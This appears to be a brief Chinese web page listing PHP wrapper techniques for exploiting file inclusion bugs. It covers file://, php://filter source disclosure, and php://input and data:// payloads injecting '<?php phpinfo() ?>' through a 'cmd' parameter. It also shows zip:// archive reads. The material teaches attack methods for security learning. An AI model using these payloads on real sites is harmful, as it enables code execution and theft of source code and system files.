文件包含漏洞PHP伪协议利用方法

使用file协议读取Windows的系统文件

使用php://filter协议可以将php代码进行base64编码后显示出来

php://input

抓包,并加上<?php phpinfo() ?>

data://

?cmd=data:text/plain,<?php%20phpinfo();?>

zip://

读取压缩包内的⽂件

?cmd=zip://d:/3.zip/3.txt

相关推荐
zxctsclrjjjcph7 分钟前
【C语言】常见的C语言概念
c语言·开发语言
小灰灰爱代码12 分钟前
C++——求3个数中最大的数(分别考虑整数、双精度数、长整数的情况),用函数模板来实现。
开发语言·c++·算法
Eiceblue19 分钟前
Python 复制Excel 中的行、列、单元格
开发语言·python·excel
项目題供诗23 分钟前
尚品汇-秒杀商品存入缓存、Redis发布订阅实现状态位(五十一)
开发语言·php
m0_7145902631 分钟前
汇编(实现C语言程序的调用)
c语言·开发语言·汇编
做技术的Pandaer34 分钟前
Go 第二期
开发语言·golang
新知图书35 分钟前
Rust编程的作用域与所有权
开发语言·后端·rust
极客代码44 分钟前
OpenCV Python 深度指南
开发语言·人工智能·python·opencv·计算机视觉
liO_Oil1 小时前
(2024.9.19)在Python的虚拟环境中安装GDAL
开发语言·python·gdal安装
万物得其道者成1 小时前
React Zustand状态管理库的使用
开发语言·javascript·ecmascript